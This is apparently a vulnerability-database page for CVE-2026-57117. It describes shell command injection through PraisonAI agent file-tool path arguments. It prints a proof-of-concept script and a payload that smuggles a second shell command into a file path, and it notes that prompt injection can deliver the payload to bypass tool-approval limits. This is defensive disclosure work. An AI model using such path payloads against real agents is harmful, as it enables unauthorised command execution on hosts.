CVE-2026-57117

HIGHPre-NVD 8.88.8
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.8EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 8.8Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

PraisonAI: Compute-bridged file tools allow shell command injection

Compute-bridged file tools allow shell command injection

Summary

LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers.

An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute="local", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container.

Affected Product

  • Repository: MervinPraison/PraisonAI
  • Package: praisonai
  • Component: src/praisonai/praisonai/integrations/managed_local.py
  • Confirmed affected:
  • v4.6.10
  • v4.6.56
  • v4.6.57
  • current main at 2f9677abb2ea68eab864ee8b6a828fd0141612e1
  • Confirmed not affected:
  • v4.6.9
  • v4.6.1
  • v4.5.149
  • Suggested affected range: >= 4.6.10, <= 4.6.57

Root Cause

Current managed_local.py defines the bridged tool set:

compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"}

For file tools, _bridge_file_tool() constructs shell command strings:

command = f'cat "{filepath}"'
command = f'ls -la "{directory}"'
command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF'

The local compute provider executes the string with asyncio.create_subprocess_shell(...); the Docker compute provider executes it with ["sh", "-c", command].

The bridge keeps the low-risk read_file / list_files tool names and signatures while changing their execution primitive into shell interpretation.

Why This Is Not Intended Behavior

Compute bridging itself is documented and intentional. The vulnerability is that file path data is interpreted as shell syntax.

The normal read_file and list_files implementations treat the same payload as a literal path and do not expand shell metacharacters. The approval registry also marks execute_command as critical, while read_file and list_files are not dangerous-tool entries.

Impact

An application that exposes a PraisonAI agent using LocalManagedAgent or SandboxedAgent with a compute provider and a restricted file-tool set can be tricked into executing shell commands through a path argument to read_file or list_files.

This can bypass least-privilege tool configuration and tool-approval expectations. A prompt-injection path, chat endpoint, automation webhook, or other user-controlled agent task can supply the file path argument without the operator granting execute_command.

Local PoV

The PoV is local-only and harmless. It uses an environment canary and compares normal file tools against compute-bridged file tools.

Minimal inline reproducer:

import os
from pathlib import Path

from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig from praisonaiagents.tools import list_files, read_file

workdir = Path(".prai-cand-006-pov-workdir") workdir.mkdir(exist_ok=True) (workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")

canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED" os.environ["PRAI_CAND_006_CANARY"] = canary payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'

Control: normal file tools treat the payload as a literal path.

normal_read = read_file(str(workdir / payload)) normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))

cfg = LocalManagedConfig( name="prai-cand-006-poc", tools=["read_file", "list_files"], working_dir=str(workdir), ) managed = LocalManagedAgent(config=cfg, compute="local") tools = {tool.__name__: tool for tool in managed._resolve_tools()}

bridged_read = tools"read_file" bridged_list = tools"list_files"

print("normal_read_contains_canary", canary in normal_read) print("normal_list_contains_canary", canary in normal_list) print("bridged_read_contains_canary", canary in bridged_read) print("bridged_list_contains_canary", canary in bridged_list)

Command:

python3 \
  submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \
  --repo artifacts/repos/praisonai-current

Current-head result:

{
  "describe": "v4.6.57-4-g2f9677ab",
  "vulnerable": true,
  "normal_controls": {
    "read_file_payload_contains_canary": false,
    "list_files_payload_contains_canary": false
  },
  "bridged_results": {
    "read_file_payload_contains_canary": true,
    "list_files_payload_contains_canary": true
  },
  "approval_registry": {
    "execute_command_risk": "critical",
    "read_file_risk": null,
    "list_files_risk": null
  }
}

The payload used by the PoV is:

missing"; printf "$PRAI_CAND_006_CANARY"; #

Normal read_file treats this as a literal missing filename. The bridged tool constructs:

cat "missing"; printf "$PRAI_CAND_006_CANARY"; #"

and returns the canary from the compute shell.

Suggested Fix

Do not implement file operations by constructing shell command strings from path/content arguments.

Preferred fix:

  • Add provider-native file APIs for read, write, and list operations, or pass
arguments as structured argv where the provider supports it.
  • Preserve the normal file-tool path validation and workspace boundary checks
for compute-bridged file tools.
  • Treat write_file content as data, not shell source. The current heredoc
construction is also unsafe if content can contain the delimiter.
  • Add regression tests that use paths containing ", ;, $(), backticks,
newline, and # and assert no shell execution occurs.
  • Keep execute_command as the only bridge path that intentionally accepts a
shell command string, with critical approval semantics.

A minimal stopgap is to remove read_file, list_files, and write_file from compute_bridged_tools until safe provider-native file operations exist.

Suggested Severity

The vector assumes an attacker has low-privilege access to an agent interface that can request file-tool use. If a deployment exposes such an agent without authentication, PR:N may be appropriate.

CVSS v3
8.8
EG Score
8.8(low)
EG Risk
44(Track)
EG Risk 44/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity88% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

June 18, 2026

Last Modified

June 18, 2026

Vendor Advisories for CVE-2026-57117(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
praisonai4.6.10 ... 4.6.58 (47 versions)4.6.59

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-26 18:46 UTCEG score recompute
  2. 2026-07-23 03:20 UTCEG score recompute
  3. 2026-07-20 21:34 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-57117?
CVE-2026-57117 is a high vulnerability published on June 18, 2026. PraisonAI: Compute-bridged file tools allow shell command injection Compute-bridged file tools allow shell command injection Summary LocalManagedAgent / SandboxedAgent compute bridging wraps readfile, listfiles, and write_file when a compute provider is attached. The bridge converts those file…
When was CVE-2026-57117 disclosed?
CVE-2026-57117 was first published in the National Vulnerability Database on June 18, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-57117?
CVE-2026-57117 has a CVSS v4.0 base score of 8.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-57117?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-57117, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-57117

Explore →

Is Your Infrastructure Affected by CVE-2026-57117?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.